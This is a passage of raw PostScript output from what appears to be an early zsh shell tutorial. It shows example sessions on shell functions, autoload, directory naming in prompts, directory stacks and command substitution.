-2.781 G 2.646(cution. Ho).135 F(we)-.225 E -.135(ve)-.225 G 1.116 -.36
(r, i).135 H 2.646(fw).36 G 2.646(ed)-2.646 G .396(e\214ne the)-2.646 F
(function ag)72 233 Q(ain with the alias in place:)-.045 E F1 5.4(%f)108
250 S(unction yp \(\) { ypmatch $1 passwd.byname })-5.4 E 5.4(%y)108 261
S 5.4(pp)-5.4 G(falstad)-5.4 E(pfalstad passwd.byname)108 272 Q F2
(it is parsed with the ne)72 289 Q 2.25(wa)-.225 G
(lias de\214nition in place.)-2.25 E
(Therefore, in general you must de\214ne aliases before functions.)4.5 E
F0 1.6 -.8(We c)72 304.6 T(an mak).8 E 2.5(et)-.1 G(he function tak)-2.5
E 2.5(em)-.1 G(ultiple ar)-2.5 E(guments:)-.18 E F1 5.4(%u)108 321.6 S
(nalias ypmatch)-5.4 E 5.4(%y)108 332.6 S 5.4(p\()-5.4 G 5.4(\){)-5.4 G
37.8(>f)108 343.6 S(or i)-37.8 E 37.8(>d)108 354.6 S 5.4(oy)-37.8 G
(pmatch $i passwd.byname)-5.4 E 37.8(>d)108 365.6 S(one)-37.8 E 5.4(>})
108 376.6 S 5.4(%y)108 387.6 S 5.4(pp)-5.4 G(falstad subbarao sukthnkr)
-5.4 E(pfalstad:*:3564:35:Paul John Falstad:/u/pfalstad:/usr/princeton/\
bin/zsh)108 398.6 Q
(subbarao:*:3338:35:Kartik Subbarao:/u/subbarao:/usr/princeton/bin/zsh)
108 409.6 Q(sukthnkr:*:1267:35:Rahul Sukthankar:/u/sukthnkr:/usr/prince\
ton/bin/tcsh)108 420.6 Q F2(The)72 437.6 Q F1 .214(for i)2.464 F F2 .214
(loops through each of the function')2.464 F 2.464(sa)-.495 G -.162(rg)
-2.464 G .214(uments, setting).162 F F1(i)2.464 E F2 .215
(equal to each of them in turn.)2.464 F 1.655 -.72(We c)4.715 H .215
(an also mak).72 F 2.465(et)-.09 G .215(he func-)-2.465 F
(tion do something sensible if no ar)72 448.6 Q(guments are gi)-.162 E
-.135(ve)-.225 G(n:).135 E F1 5.4(%y)108 465.6 S 5.4(p\()-5.4 G 5.4(\){)
-5.4 G 37.8(>i)108 476.6 S 5.4(f\()-37.8 G 5.4(\($)-5.4 G 5.4(#=)-5.4 G
5.4(=0\))-5.4 G(\))-5.4 E 37.8(>t)108 487.6 S
(hen echo usage: yp name ...; fi)-37.8 E 37.8(>f)108 498.6 S
(or i; do ypmatch $i passwd.byname; done)-37.8 E 5.4(>})108 509.6 S 5.4
(%y)108 520.6 S(p)-5.4 E(usage: yp name ...)108 531.6 Q 5.4(%y)108 542.6
S 5.4(pp)-5.4 G(falstad sukthnkr)-5.4 E(pfalstad:*:3564:35:Paul John Fa\
lstad:/u/pfalstad:/usr/princeton/bin/zsh)108 553.6 Q(sukthnkr:*:1267:35\
:Rahul Sukthankar:/u/sukthnkr:/usr/princeton/bin/tcsh)108 564.6 Q($#)72
581.6 Q F2 1.008(is the number of ar)3.258 F 1.008
(guments supplied to the function.)-.162 F 1.007
(If it is equal to zero, we print a usage message; otherwise, we loop)
5.508 F(through the ar)72 592.6 Q(guments, and)-.162 E F1(ypmatch)2.25 E
F2(all of them.)2.25 E F0(Here')72 608.2 Q 2.5(saf)-.55 G
(unction that selects a random line from a \214le:)-2.5 E 0 Cg EP
%%Page: 7 9
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-7-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%r)108 83
S(andline \(\) {)-5.4 E 37.8(>i)108 94 S(nteger z=$\(wc -l <$1\))-37.8 E
37.8(>s)108 105 S(ed -n $[RANDOM % z + 1]p $1)-37.8 E 5.4(>})108 116 S
5.4(%r)108 127 S(andline /etc/motd)-5.4 E
(PHOENIX WILL BE DOWN briefly Friday morning, 5/24/91 from 8 AM to)108
138 Q 5.4(%r)108 149 S(andline /etc/motd)-5.4 E
(SunOS Release 4.1.1 \(PHOENIX\) #19: Tue May 14 19:03:15 EDT 1991)108
160 Q 5.4(%r)108 171 S(andline /etc/motd)-5.4 E 5.4(|P)108 182 S
(lease use the "msgs" command to read announcements.)-5.4 E
(Refer to the)10.8 E(|)16.2 E 5.4(%e)108 193 S(cho $z)-5.4 E(%)108 215 Q
(randline)72 232 Q/F2 9/Times-Roman@0 SF .88(has a local v)3.13 F
(ariable,)-.225 E F1(z)3.13 E F2 3.13(,t)C .88
(hat holds the number of lines in the \214le.)-3.13 F F1 .881
($[RANDOM % z + 1])5.381 F F2 -.135(ex)3.131 G .881(pands to a random)
.135 F .399(number between 1 and)72 243 R F1(z)2.648 E F2 4.898(.A)C
2.648(ne)-4.898 G .398(xpression of the form)-2.783 F F1($[)2.648 E F2
(...)A F1(])A F2 -.135(ex)4.898 G .398(pands to the v).135 F .398
(alue of the arithmetic e)-.225 F .398(xpression within the brack-)-.135
F .353(ets, and the)72 254 R/F3 9/Times-Bold@0 SF(RANDOM)2.603 E F2
-.225(va)2.604 G .354
(riable returns a random number each time it is referenced.).225 F F1(%)
4.854 E F2 .354(is the modulus operator)2.604 F 2.604(,a)-.36 G 2.604
(si)-2.604 G 2.604(nC)-2.604 G 4.854(.T)-2.604 G(here-)-4.854 E(fore,)72
265 Q F1(sed -n $[RANDOM%z+1]p)2.25 E F2
(picks a random line from its input, from 1 to)2.25 E F1(z)2.25 E F2(.)A
F0(Function de\214nitions can be vie)72 280.6 Q(wed with the)-.25 E/F4
10/Courier@0 SF(functions)2.5 E F0 -.2(bu)2.5 G(iltin:).2 E F1 5.4(%f)
108 297.6 S(unctions randline)-5.4 E(randline \(\) {)108 308.6 Q
(integer z=$\(wc -l <$1\))151.2 319.6 Q(sed -n $[RANDOM % z + 1]p $1)
151.2 330.6 Q(})108 352.6 Q 5.4(%f)108 363.6 S(unctions)-5.4 E
(yp \(\) {)108 374.6 Q(if let $# == 0)151.2 385.6 Q(then)151.2 407.6 Q
(echo usage: yp name ...)194.4 418.6 Q(fi)151.2 440.6 Q(for i)151.2
451.6 Q(do)151.2 462.6 Q(ypmatch $i passwd.byname)194.4 473.6 Q(done)
194.4 495.6 Q(})108 517.6 Q(randline \(\) {)108 528.6 Q
(integer z=$\(wc -l <$1\))151.2 539.6 Q(sed -n $[RANDOM % z + 1]p $1)
151.2 550.6 Q(})108 572.6 Q F2(Here')72 589.6 Q 2.25(sa)-.495 G
(nother one:)-2.25 E F1 5.4(%c)108 606.6 S 5.4(x\()-5.4 G 5.4(\){c)-5.4
G(hmod +x $* })-5.4 E 5.4(%l)108 617.6 S 5.4(s-)-5.4 G 5.4(lf)-5.4 G
(oo bar)-5.4 E 5.4(-rw-r--r-- 1)108 628.6 R 32.4(pfalstad 29)5.4 F
(May 24 04:38 bar)5.4 E 5.4(-rw-r--r-- 1)108 639.6 R 32.4(pfalstad 29)
5.4 F(May 24 04:38 foo)5.4 E 5.4(%c)108 650.6 S 5.4(xf)-5.4 G(oo bar)
-5.4 E 5.4(%l)108 661.6 S 5.4(s-)-5.4 G 5.4(lf)-5.4 G(oo bar)-5.4 E 5.4
(-rwxr-xr-x 1)108 672.6 R 32.4(pfalstad 29)5.4 F(May 24 04:38 bar)5.4 E
5.4(-rwxr-xr-x 1)108 683.6 R 32.4(pfalstad 29)5.4 F(May 24 04:38 foo)5.4
E F2(Note that this could also ha)72 700.6 Q .27 -.135(ve b)-.18 H
(een implemented as an alias:).135 E 0 Cg EP
%%Page: 8 10
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-8-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%c)108 83
S(hmod 644 foo bar)-5.4 E 5.4(%a)108 94 S(lias cx='chmod +x')-5.4 E 5.4
(%c)108 105 S 5.4(xf)-5.4 G(oo bar)-5.4 E 5.4(%l)108 116 S 5.4(s-)-5.4 G
5.4(lf)-5.4 G(oo bar)-5.4 E 5.4(-rwxr-xr-x 1)108 127 R 32.4(pfalstad 29)
5.4 F(May 24 04:38 bar)5.4 E 5.4(-rwxr-xr-x 1)108 138 R 32.4
(pfalstad 29)5.4 F(May 24 04:38 foo)5.4 E F0 .995
(Instead of de\214ning a lot of functions in your)72 159.6 R/F2 10
/Courier@0 SF(.zshrc)3.494 E F0 3.494(,a)C .994
(ll of which you may not use, it is often better to use the)-3.494 F F2
(autoload)72 171.6 Q F0 -.2(bu)3.219 G 3.219(iltin. The).2 F .719(idea \
is, you create a directory where function de\214nitions are stored, dec\
lare the names in)3.219 F(your)72 183.6 Q F2(.zshrc)2.529 E F0 2.529(,a)
C .029(nd tell the shell where to look for them.)-2.529 F(Whene)5.028 E
-.15(ve)-.25 G 2.528(ry).15 G .028
(ou reference a function, the shell will automati-)-2.528 F
(cally load it into memory)72 195.6 Q(.)-.65 E F1 5.4(%m)108 212.6 S
(kdir /tmp/funs)-5.4 E 5.4(%c)108 223.6 S(at >/tmp/funs/yp)-5.4 E
(ypmatch $1 passwd.byname)108 234.6 Q(^D)108 245.6 Q 5.4(%c)108 256.6 S
(at >/tmp/funs/cx)-5.4 E(chmod +x $*)108 267.6 Q(^D)108 278.6 Q 5.4(%F)
108 289.6 S(PATH=/tmp/funs)-5.4 E 5.4(%a)108 300.6 S(utoload cx yp)-5.4
E 5.4(%f)108 311.6 S(unctions cx yp)-5.4 E(undefined cx \(\))108 322.6 Q
(undefined yp \(\))108 333.6 Q 5.4(%c)108 344.6 S
(hmod 755 /tmp/funs/{cx,yp})-5.4 E 5.4(%y)108 355.6 S 5.4(pe)-5.4 G
(gsirer)-5.4 E(egsirer:*:3214:35:Emin Gun Sirer:/u/egsirer:/bin/sh)108
366.6 Q 5.4(%f)108 377.6 S(unctions yp)-5.4 E(yp \(\) {)108 388.6 Q
(ypmatch $1 passwd.byname)151.2 399.6 Q(})108 410.6 Q/F3 9/Times-Roman@0
SF .111(This idea has other bene\214ts.)72 427.6 R .111(By adding a)
4.611 F F1(#!)2.362 E F3 .112(header to the \214les, you can mak)2.362 F
2.362(et)-.09 G .112(hem double as shell scripts.)-2.362 F .112
(\(Although it is f)4.612 F(aster)-.09 E
(to use them as functions, since a separate process is not created.\))72
438.6 Q F1 5.4(%e)108 455.6 S 5.4(d/)-5.4 G(tmp/funs/yp)-5.4 E(25)108
466.6 Q(i)108 477.6 Q(#! /usr/bin/zsh)108 488.6 Q(w)108 499.6 Q(42)108
510.6 Q(q)108 521.6 Q 5.4(%<)108 532.6 S(/tmp/funs/yp)-5.4 E
(#! /usr/bin/zsh)108 543.6 Q(ypmatch $1 passwd.byname)108 554.6 Q 5.4
(%/)108 565.6 S(tmp/funs/yp sukthnkr)-5.4 E(sukthnkr:*:1267:35:Rahul Su\
kthankar:/u/sukthnkr:/usr/princeton/bin/tcsh)108 576.6 Q F3(No)72 593.6
Q 2.25(wo)-.225 G(ther people, who may not use)-2.25 E/F4 9/Times-Bold@0
SF(zsh)2.25 E F3 2.25(,o)C 2.25(rw)-2.25 G(ho don')-2.25 E 2.25(tw)-.162
G(ant to cop)-2.34 E 2.25(ya)-.09 G(ll of your)-2.25 E F1(.zshrc)2.25 E
F3 2.25(,m)C(ay use these functions as shell scripts.)-2.25 E/F5 10
/Times-Bold@0 SF(Dir)72 617.6 Q(ectories)-.18 E F0(One nice feature of)
72 633.2 Q F5(zsh)2.5 E F0(is the w)2.5 E(ay it prints directories.)-.1
E -.15(Fo)5 G 2.5(re).15 G(xample, if we set the prompt lik)-2.65 E 2.5
(et)-.1 G(his:)-2.5 E F1(phoenix% PROMPT='%~> ')108 650.2 Q(~> cd src)
108 661.2 Q(~/src>)108 672.2 Q F3 .573
(the shell will print the current directory in the prompt, using the)72
689.2 R F1(~)2.823 E F3(character)2.823 E 5.073(.H)-.495 G -.225(ow)
-5.073 G -1.935 -.225(ev e).225 H -.36(r,).225 G F4(zsh)3.183 E F3 .572
(is smarter than most other shells in)2.823 F(this respect:)72 700.2 Q 0
Cg EP
%%Page: 9 11
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-9-)300.17 48 Q/F1 9/Courier@0 SF
(~/src> cd ~subbarao)108 83 Q(~subbarao> cd ~maruchck)108 94 Q
(~maruchck> cd lib)108 105 Q(~maruchck/lib> cd fun)108 116 Q
(~maruchck/lib/fun> foo=/usr/princeton/common/src)108 127 Q
(~maruchck/lib/fun> cd ~foo)108 138 Q(~foo> cd ..)108 149 Q
(/usr/princeton/common> cd src)108 160 Q(~foo> cd news/nntp)108 171 Q
(~foo/news/nntp> cd inews)108 182 Q(~foo/news/nntp/inews>)108 193 Q/F2 9
/Times-Roman@0 SF .357(Note that)72 210 R/F3 9/Times-Bold@0 SF(zsh)2.607
E F2(prints)2.607 E/F4 9/Times-Italic@0 SF(other)2.607 E F2 .357
(users' directories in the form)2.607 F F1(~user)2.607 E F2 4.857(.A)C
.358(lso note that you can set a parameter and use it as a directory)
-4.857 F(name;)72 221 Q F3(zsh)3.06 E F2 .81(will act as if)3.06 F F1
(foo)3.06 E F2 .81(is a user with the login directory)3.06 F F1
(/usr/princeton/common/src)3.06 E F2 5.31(.T)C .81(his is con)-5.31 F
-.135(ve)-.36 G .81(nient, espe-).135 F(cially if you')72 232 Q
(re sick of seeing prompts lik)-.45 E 2.25(et)-.09 G(his:)-2.25 E F1
(phoenix:/usr/princeton/common/src/X.V11R4/contrib/clients/xv/docs>)108
249 Q F2(If you get stuck in this position, you can gi)72 266 Q .27
-.135(ve t)-.225 H(he current directory a short name, lik).135 E 2.25
(et)-.09 G(his:)-2.25 E F1
(/usr/princeton/common/src/news/nntp/inews> inews=$PWD)108 283 Q
(/usr/princeton/common/src/news/nntp/inews> echo ~inews)108 294 Q
(/usr/princeton/common/src/news/nntp/inews)108 305 Q(~inews>)108 316 Q
F2 .488(When you reference a directory in the form)72 333 R F1(~inews)
2.738 E F2 2.738(,t)C .489(he shell assumes that you w)-2.738 F .489
(ant the directory displayed in this form; thus)-.09 F .403
(simply typing)72 344 R F1 .403(echo ~inews)2.653 F F2(or)2.653 E F1
.403(cd ~inews)2.653 F F2 .403(causes the prompt to be shortened.)2.653
F -.99(Yo)4.903 G 2.653(uc).99 G .403
(an de\214ne a shell function for this pur)-2.653 F(-)-.18 E(pose:)72
355 Q F1(~inews> namedir \(\) { $1=$PWD ;)108 372 Q 5.4(:~)10.8 G($1 })
-5.4 E(~inews> cd /usr/princeton/bin)108 383 Q
(/usr/princeton/bin> namedir pbin)108 394 Q(~pbin> cd /var/spool/mail)
108 405 Q(/var/spool/mail> namedir spool)108 416 Q(~spool> cd .msgs)108
427 Q(~spool/.msgs>)108 438 Q F2 -.99(Yo)72 455 S 2.25(um).99 G(ay w)
-2.25 E(ant to add this one-line function to your)-.09 E F1(.zshrc)2.25
E F2(.)A F3(zsh)72 477 Q F2 1.029
(can also put the current directory in your title bar)3.278 F 3.279(,i)
-.36 G 3.279(fy)-3.279 G 1.029(ou are using a windo)-3.279 F 1.029
(wing system.)-.225 F 1.029(One w)5.529 F 1.029
(ay to do this is with the)-.09 F F1(chpwd)72 488 Q F2 .529
(function, which is automatically e)2.779 F -.135(xe)-.135 G .528
(cuted by the shell whene).135 F -.135(ve)-.225 G 2.778(ry).135 G .528
(ou change directory)-2.778 F 5.028(.I)-.585 G 2.778(fy)-5.028 G .528
(ou are using xterm, this will)-2.778 F -.09(wo)72 499 S(rk:).09 E F1
(chpwd \(\) { print -Pn '^[]2;%~^G' })108 516 Q F2(The)72 533 Q F1(-P)
2.595 E F2 .345(option tells)2.595 F F1(print)2.595 E F2 .345
(to treat its ar)2.595 F .346(guments lik)-.162 F 2.596(eap)-.09 G .346
(rompt string; otherwise the)-2.596 F F1(%~)2.596 E F2 -.09(wo)2.596 G
.346(uld not be e).09 F 2.596(xpanded. The)-.135 F F1(-n)2.596 E F2
(option)2.596 E(suppresses the terminating ne)72 544 Q(wline, as with)
-.225 E F1(echo)2.25 E F2(.)A F0(If you are using an IRIS)72 559.6 Q/F5
10/Courier@0 SF(wsh)2.5 E F0 2.5(,d)C 2.5(ot)-2.5 G(his:)-2.5 E F1
(chpwd \(\) { print -Pn '\\2201.y%~\\234' })108 576.6 Q F2(The)72 593.6
Q F1 .507(print -D)2.757 F F2 .506(command has other uses.)2.757 F -.135
(Fo)5.006 G 2.756(re).135 G .506(xample, to print the current directory\
 to standard output in short form, you can)-2.891 F(do this:)72 604.6 Q
F1 5.4(%p)108 621.6 S(rint -D $PWD)-5.4 E(~subbarao/src)108 632.6 Q F2
(and to print each component of the path in short form:)72 649.6 Q F1
5.4(%p)108 666.6 S(rint -D $path)-5.4 E
(/bin /usr/bin ~locbin ~locbin/X11 ~/bin)108 677.6 Q 0 Cg EP
%%Page: 10 12
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-10-)297.67 48 Q/F1 10/Times-Bold@0 SF(Dir)72 84
Q(ectory Stacks)-.18 E F0 .219(If you use csh, you may kno)72 99.6 R
2.719(wa)-.25 G .219(bout directory stacks.)-2.719 F(The)5.219 E/F2 10
/Courier@0 SF(pushd)2.719 E F0 .219
(command puts the current directory on the stack,)2.719 F
(and changes to a ne)72 111.6 Q 2.5(wd)-.25 G(irectory; the)-2.5 E F2
(popd)2.5 E F0(command pops a directory of)2.5 E 2.5(ft)-.25 G
(he stack and changes to it.)-2.5 E/F3 9/Courier@0 SF(phoenix% cd)108
128.6 Q(phoenix% PROMPT='Z %~> ')108 139.6 Q 5.4(Z~)108 150.6 S 5.4(>p)
-5.4 G(ushd /tmp)-5.4 E(/tmp ~)108 161.6 Q 5.4(Z/)108 172.6 S
(tmp> pushd /usr/etc)-5.4 E(/usr/etc /tmp ~)108 183.6 Q 5.4(Z/)108 194.6
S(usr/etc> pushd /usr/bin)-5.4 E(/usr/bin /usr/etc /tmp ~)108 205.6 Q
5.4(Z/)108 216.6 S(usr/bin> popd)-5.4 E(/usr/etc /tmp ~)108 227.6 Q 5.4
(Z/)108 238.6 S(usr/etc> popd)-5.4 E(/tmp ~)108 249.6 Q 5.4(Z/)108 260.6
S(tmp> pushd /etc)-5.4 E(/etc /tmp ~)108 271.6 Q 5.4(Z/)108 282.6 S
(etc> popd)-5.4 E(/tmp ~)108 293.6 Q/F4 9/Times-Bold@0 SF(zsh)72 310.6 Q
/F5 9/Times-Roman@0 SF 1.57 -.495('s d)D .58(irectory stack commands w)
.495 F .579(ork similarly)-.09 F 5.079(.O)-.585 G .579(ne dif)-5.079 F
.579(ference is the w)-.225 F(ay)-.09 E F3(pushd)2.829 E F5 .579
(is handled if no ar)2.829 F .579(guments are gi)-.162 F -.135(ve)-.225
G 2.829(n. As).135 F(in)2.829 E(csh, this e)72 321.6 Q
(xchanges the top tw)-.135 E 2.25(oe)-.09 G
(lements of the directory stack:)-2.25 E F3 5.4(Z/)108 338.6 S
(tmp> dirs)-5.4 E(/tmp ~)108 349.6 Q 5.4(Z/)108 360.6 S(tmp> pushd)-5.4
E 5.4(~/)108 371.6 S(tmp)-5.4 E F5(unless the stack only has one entry:)
72 388.6 Q F3 5.4(Z~)108 405.6 S 5.4(>p)-5.4 G(opd)-5.4 E(/tmp)108 416.6
Q 5.4(Z/)108 427.6 S(tmp> dirs)-5.4 E(/tmp)108 438.6 Q 5.4(Z/)108 449.6
S(tmp> pushd)-5.4 E 5.4(~/)108 460.6 S(tmp)-5.4 E 5.4(Z~)108 471.6 S(>)
-5.4 E F5(or unless the)72 488.6 Q/F6 9/Times-Italic@0 SF(PUSHDT)2.25 E
(OHOME)-.162 E F5(option is set:)2.25 E F3 5.4(Z~)108 505.6 S 5.4(>s)
-5.4 G(etopt pushdtohome)-5.4 E 5.4(Z~)108 516.6 S 5.4(>p)-5.4 G(ushd)
-5.4 E 5.4(~~/)108 527.6 S(tmp)-5.4 E F0 .369(As an alternati)72 549.2 R
.669 -.15(ve t)-.25 H 2.869(ou).15 G .369
(sing directory stacks in this manner)-2.869 F 2.869(,w)-.4 G 2.869(ec)
-2.869 G .369(an get something lik)-2.869 F 2.869(ea)-.1 G/F7 10
/Times-Italic@0 SF(dir)A .369(ectory history)-.37 F F0 .369
(by setting a)2.869 F(fe)72 561.2 Q 2.5(wm)-.25 G
(ore options and parameters:)-2.5 E 0 Cg EP
%%Page: 11 13
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-11-)297.67 48 Q/F1 9/Courier@0 SF
(~> DIRSTACKSIZE=8)108 83 Q
(~> setopt autopushd pushdminus pushdsilent pushdtohome)108 94 Q
(~> alias dh='dirs -v')108 105 Q(~> cd /tmp)108 116 Q(/tmp> cd /usr)108
127 Q(/usr> cd bin)108 138 Q(/usr/bin> cd ../pub)108 149 Q(/usr/pub> dh)
108 160 Q 37.8(0/)108 171 S(usr/pub)-37.8 E 37.8(1/)108 182 S(usr/bin)
-37.8 E 37.8(2/)108 193 S(usr)-37.8 E 37.8(3/)108 204 S(tmp)-37.8 E 37.8
(4~)108 215 S(/usr/pub> cd -3)108 226 Q(/tmp> dh)108 237 Q 37.8(0/)108
248 S(tmp)-37.8 E 37.8(1/)108 259 S(usr/pub)-37.8 E 37.8(2/)108 270 S
(usr/bin)-37.8 E 37.8(3/)108 281 S(usr)-37.8 E 37.8(4~)108 292 S
(/tmp> ls ~2/df)108 303 Q(/usr/bin/df)108 314 Q(/tmp> cd -4)108 325 Q
(~>)108 336 Q/F2 9/Times-Roman@0 SF(Note that)72 353 Q F1(~2)2.25 E F2
-.135(ex)2.25 G
(panded to the second directory in the history list, and that).135 E F1
(cd -3)2.25 E F2(recalled the third directory in the list.)2.25 E F0
-1.1(Yo)72 368.6 S 2.508(um)1.1 G .008(ay be w)-2.508 F .008
(ondering what all those options do.)-.1 F/F3 10/Times-Italic@0 SF -.5
(AU)5.008 G -.18(TO).5 G(PUSHD).18 E F0(made)2.508 E/F4 10/Courier@0 SF
(cd)2.508 E F0 .007(act lik)2.507 F(e)-.1 E F4(pushd)2.507 E F0 5.007
(.\()C F4 .007(alias cd=pushd)-5.007 F F0(is)2.507 E .41(not suf)72
380.6 R .41(\214cient, for v)-.25 F .41(arious reasons.\))-.25 F F3
(PUSHDMINUS)5.41 E F0(sw)2.91 E .41(apped the meaning of)-.1 F F4 .41
(cd +1)2.91 F F0(and)2.91 E F4 .41(cd -1)2.91 F F0 2.91(;w)C 2.91(ew)
-2.91 G .41(ant them to)-3.01 F(mean the opposite of what the)72 392.6 Q
2.5(ym)-.15 G(ean in csh, because it mak)-2.5 E
(es more sense in this scheme, and it')-.1 E 2.5(se)-.55 G
(asier to type:)-2.5 E F1(~> dh)108 409.6 Q 37.8(0~)108 420.6 S 37.8(1/)
108 431.6 S(tmp)-37.8 E 37.8(2/)108 442.6 S(usr/pub)-37.8 E 37.8(3/)108
453.6 S(usr/bin)-37.8 E 37.8(4/)108 464.6 S(usr)-37.8 E
(~> unsetopt pushdminus)108 475.6 Q(~> cd +1)108 486.6 Q(/tmp> dh)108
497.6 Q 37.8(0/)108 508.6 S(tmp)-37.8 E 37.8(1~)108 519.6 S 37.8(2/)108
530.6 S(usr/pub)-37.8 E 37.8(3/)108 541.6 S(usr/bin)-37.8 E 37.8(4/)108
552.6 S(usr)-37.8 E(/tmp> cd +2)108 563.6 Q(/usr/pub>)108 574.6 Q/F5 9
/Times-Italic@0 SF(PUSHDSILENT)72 591.6 Q F2 -.09(ke)3.099 G .849
(eps the shell from printing the directory stack each time we do a).09 F
F1(cd)3.098 E F2 3.098(,a)C(nd)-3.098 E F5(PUSHDT)3.098 E(OHOME)-.162 E
F2 .848(we mentioned)3.098 F(earlier:)72 602.6 Q F1
(/usr/pub> unsetopt pushdsilent)108 619.6 Q(/usr/pub> cd /etc)108 630.6
Q(/etc /usr/pub /tmp ~ /usr/bin /usr)108 641.6 Q(/etc> cd)108 652.6 Q
5.4(~/)108 663.6 S(etc /usr/pub /tmp ~ /usr/bin /usr)-5.4 E
(~> unsetopt pushdtohome)108 674.6 Q(~> cd)108 685.6 Q
(/etc ~ /usr/pub /tmp ~ /usr/bin /usr)108 696.6 Q(/etc>)108 707.6 Q/F6 9
/Times-Bold@0 SF(DIRST)72 724.6 Q -.495(AC)-.81 G(KSIZE).495 E F2 -.09
(ke)2.25 G(eps the directory stack from getting too lar).09 E
(ge, much lik)-.162 E(e)-.09 E F5(HISTSIZE)2.25 E F2(:)A 0 Cg EP
%%Page: 12 14
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-12-)297.67 48 Q/F1 9/Courier@0 SF
(/etc> setopt pushdsilent)108 83 Q(/etc> cd /)108 94 Q(/> cd /)108 105 Q
(/> cd /)108 116 Q(/> cd /)108 127 Q(/> cd /)108 138 Q(/> cd /)108 149 Q
(/> cd /)108 160 Q(/> cd /)108 171 Q(/> dh)108 182 Q 37.8(0/)108 193 S
37.8(1/)108 204 S 37.8(2/)108 215 S 37.8(3/)108 226 S 37.8(4/)108 237 S
37.8(5/)108 248 S 37.8(6/)108 259 S 37.8(7/)108 270 S/F2 10/Times-Bold@0
SF(Command/Pr)72 300 Q(ocess Substitution)-.18 E F0 .024
(Command substitution in)72 315.6 R F2(zsh)2.524 E F0 .024(can tak)2.524
F 2.524(et)-.1 G .224 -.1(wo f)-2.524 H 2.524(orms. In).1 F .024
(the traditional form, a command enclosed in backquotes \()2.524 F/F3 10
/Courier@0 SF(`)A F0(...)A F3(`)A F0(\))A .519
(is replaced on the command line with its output.)72 327.6 R .518
(This is the form used by the older shells.)5.519 F(Ne)5.518 E .518
(wer shells \(lik)-.25 F(e)-.1 E F2(zsh)3.018 E F0(\))A(also pro)72
339.6 Q(vide another form,)-.15 E F3($\()2.5 E F0(...)A F3(\))A F0 5(.T)
C(his form is much easier to nest.)-5 E F1 5.4(%l)108 356.6 S 5.4(s-)
-5.4 G 5.4(l`)-5.4 G(echo /vmunix`)-5.4 E 5.4(-rwxr-xr-x 1)108 367.6 R
27(root 1209702)5.4 F(May 14 19:04 /vmunix)5.4 E 5.4(%l)108 378.6 S 5.4
(s-)-5.4 G 5.4(l$)-5.4 G(\(echo /vmunix\))-5.4 E 5.4(-rwxr-xr-x 1)108
389.6 R 27(root 1209702)5.4 F(May 14 19:04 /vmunix)5.4 E 5.4(%w)108
400.6 S(ho | grep mad)-5.4 E(subbarao ttyt7)108 411.6 Q(May 23 15:02)
16.2 E(\(mad55sx15.Prince\))16.2 E(pfalstad ttyu1)108 422.6 Q
(May 23 16:25)16.2 E(\(mad55sx14.Prince\))16.2 E(subbarao ttyu6)108
433.6 Q(May 23 15:04)16.2 E(\(mad55sx15.Prince\))16.2 E(pfalstad ttyv3)
108 444.6 Q(May 23 16:25)16.2 E(\(mad55sx14.Prince\))16.2 E 5.4(%w)108
455.6 S(ho | grep mad | awk '{print $2}')-5.4 E(ttyt7)108 466.6 Q(ttyu1)
108 477.6 Q(ttyu6)108 488.6 Q(ttyv3)108 499.6 Q 5.4(%c)108 510.6 S 5.4
(d/)-5.4 G(dev; ls -l $\(who |)-5.4 E 5.4(>g)108 521.6 S
(rep $\(echo mad\) |)-5.4 E 5.4(>a)108 532.6 S(wk '{ print $2 }'\))-5.4
E 5.4(crwx-w---- 1)108 543.6 R 5.4(subbarao 20, 71)5.4 F
(May 23 18:35 ttyt7)5.4 E 5.4(crw--w---- 1)108 554.6 R 5.4
(pfalstad 20, 81)5.4 F(May 23 18:42 ttyu1)5.4 E 5.4(crwx-w---- 1)108
565.6 R 5.4(subbarao 20, 86)5.4 F(May 23 18:38 ttyu6)5.4 E 5.4
(crw--w---- 1)108 576.6 R 5.4(pfalstad 20, 99)5.4 F(May 23 18:41 ttyv3)
5.4 E/F4 9/Times-Roman@0 SF(Man)72 593.6 Q 2.25(yc)-.135 G
(ommon uses of command substitution, ho)-2.25 E(we)-.225 E -.135(ve)
-.225 G .72 -.36(r, a).135 H(re superseded by other mechanisms of).36 E
/F5 9/Times-Bold@0 SF(zsh)2.25 E F4(:)A F1 5.4(%l)108 610.6 S 5.4(s-)
-5.4 G 5.4(l`)-5.4 G(tty`)-5.4 E 5.4(crw-rw-rw- 1)108 621.6 R 27
(root 20,)5.4 F(28 May 23 18:35 /dev/ttyqc)10.8 E 5.4(%l)108 632.6 S 5.4
(s-)-5.4 G 5.4(l$)-5.4 G(TTY)-5.4 E 5.4(crw-rw-rw- 1)108 643.6 R 27
(root 20,)5.4 F(28 May 23 18:35 /dev/ttyqc)10.8 E 5.4(%l)108 654.6 S 5.4
(s-)-5.4 G 5.4(l`)-5.4 G(which rn`)-5.4 E 5.4(-rwxr-xr-x 1)108 665.6 R
32.4(root 172032)5.4 F 5.4(Mar 6)5.4 F(18:40 /usr/princeton/bin/rn)5.4 E
5.4(%l)108 676.6 S 5.4(s-)-5.4 G 5.4(l=)-5.4 G(rn)-5.4 E 5.4
(-rwxr-xr-x 1)108 687.6 R 32.4(root 172032)5.4 F 5.4(Mar 6)5.4 F
(18:40 /usr/princeton/bin/rn)5.4 E F4 2.559(Ac)72 704.6 S .309
(ommand name with a)-2.559 F F1(=)2.559 E F4 .309
(prepended is replaced with its full pathname.)2.559 F .309
(This can be v)4.809 F .31(ery con)-.135 F -.135(ve)-.36 G 2.56
(nient. If).135 F(it')2.56 E 2.56(sn)-.495 G .31(ot con)-2.56 F -.135
(ve)-.36 G .31(nient for).135 F(you, you can turn it of)72 715.6 Q(f:)
-.225 E 0 Cg EP
%%Page: 13 15
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-13-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%l)108 83
S(s)-5.4 E 16.2(=foo =bar)108 94 R 5.4(%l)108 105 S 5.4(s=)-5.4 G
